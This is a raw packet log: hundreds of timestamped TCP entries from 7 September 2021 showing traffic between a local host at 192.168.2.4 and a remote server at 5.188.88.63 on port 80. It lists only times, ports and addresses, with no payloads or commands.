Sep 7, 2021 16:02:39.458278894 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.458324909 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.458364010 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.458405972 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.458420038 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.458448887 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.458456993 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.458508968 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.458554029 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.458600044 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.458646059 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.458647966 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.458659887 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.458698988 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.458746910 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.458791971 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.458811045 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.458838940 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.458842039 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.458884954 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.458940029 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.458992958 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.459041119 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.459068060 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.459079027 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.459147930 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.459188938 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.459224939 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.459254980 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.459265947 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.459311008 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.459321022 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.459333897 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.459336996 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.459343910 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.459389925 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.459430933 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.459462881 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.459497929 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.459528923 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.459532022 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.459537029 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.459566116 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.459590912 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.459599018 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.459633112 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.459672928 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.459708929 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.459716082 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.459723949 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.459743023 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.459778070 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.459810972 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.459842920 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.459855080 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.459861040 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.459876060 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.459908962 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.459949017 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.459985971 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.459991932 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.460000038 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.460019112 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.460052967 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.460088015 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.460120916 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.460130930 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.460135937 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.460155010 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.460187912 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.460227966 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.460263968 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.460275888 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.460282087 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.460299969 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.460335016 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.460369110 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.460402012 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.460412979 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.460417986 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.460434914 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.460469007 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.460509062 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.460510015 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.460514069 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.460546017 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.460577965 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.460613012 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.460683107 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.460721016 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.460746050 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.460757971 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.460776091 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.460798025 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.460853100 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.460855961 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.460864067 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.460891962 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.460947037 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.460988998 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.461026907 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.461076975 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.461117983 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.461117983 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.461128950 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.461173058 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.461189985 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.461245060 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.461268902 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.461287975 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.461544037 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.461589098 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.461631060 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.461666107 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.461675882 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.461682081 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.461740971 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.461786985 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.461827040 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.461869001 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.461879969 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.461893082 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.461920977 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.461977005 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.462023020 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.462044001 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.462050915 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.462071896 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.462183952 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.462239981 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.462265968 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.462322950 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.462405920 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.462420940 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.462457895 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.462497950 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.462524891 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.462547064 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.462604046 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.462632895 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.462666988 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.462682009 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.462744951 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.462829113 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.462869883 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.462912083 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.462924957 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.462935925 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.462954044 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.463002920 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.463047981 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.463073969 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.463088989 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.463155031 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.463191032 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.464678049 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.466207027 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.528157949 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528178930 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528194904 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528209925 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528224945 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528242111 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528263092 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528283119 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528299093 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528315067 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528328896 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528345108 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528358936 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528362036 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.528374910 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528378963 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.528390884 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528409004 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528425932 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528433084 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.528436899 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.528440952 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528455973 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528476000 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528484106 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.528487921 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.528492928 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528508902 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528523922 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528538942 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.528542042 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528542995 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.528558969 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528573990 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528609037 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.528613091 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.528743029 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528759003 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528773069 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528791904 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528808117 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528822899 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528837919 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528846025 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.528851986 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.528851986 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528865099 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528877020 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528887987 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528903008 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528915882 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.528918028 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528920889 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.528933048 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528948069 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528961897 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528971910 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.528975964 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.528978109 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.528992891 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529011011 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529027939 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529040098 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.529042006 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529043913 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.529057980 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529073000 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529103994 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.529109955 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.529316902 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529341936 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529361963 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529376984 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529391050 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529409885 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529414892 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.529419899 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.529426098 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529442072 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529455900 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.529457092 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529472113 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529478073 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.529481888 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.529486895 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529501915 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529516935 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529536009 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529542923 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.529551983 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529567003 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529582024 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529597044 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529611111 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529618025 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.529623985 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.529625893 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529628038 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.529638052 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529639959 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.529649973 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529664040 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529681921 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529697895 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529721975 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.529727936 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.529771090 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.529772043 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529788017 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529803038 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529828072 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529839039 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.529843092 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529844046 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.529876947 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.529915094 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529931068 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.529985905 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.529989958 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.530106068 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.530122042 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.530155897 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.530167103 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.530204058 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.530219078 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.530235052 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.530250072 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.530265093 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.530297041 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.530299902 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.530307055 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.530317068 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.530318022 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.530323982 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.530333042 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.530359030 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.530371904 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.530374050 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.530391932 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.530407906 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.530422926 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.530433893 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.530441046 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.530448914 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.530467987 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.530495882 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.530514956 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.530531883 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.530546904 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.530561924 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.530576944 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.530600071 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.530637980 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.530654907 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.530669928 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.530669928 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.530684948 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.530724049 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.530726910 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.530740023 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.530755043 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.530755043 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.530778885 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.530781984 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.530812979 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.530818939 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.530822992 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.530834913 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.530872107 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.532114983 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.532136917 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.532152891 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.532165051 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.532181978 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.532197952 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.532211065 CEST	49744	80	192.168.2.4	5.188.88.63
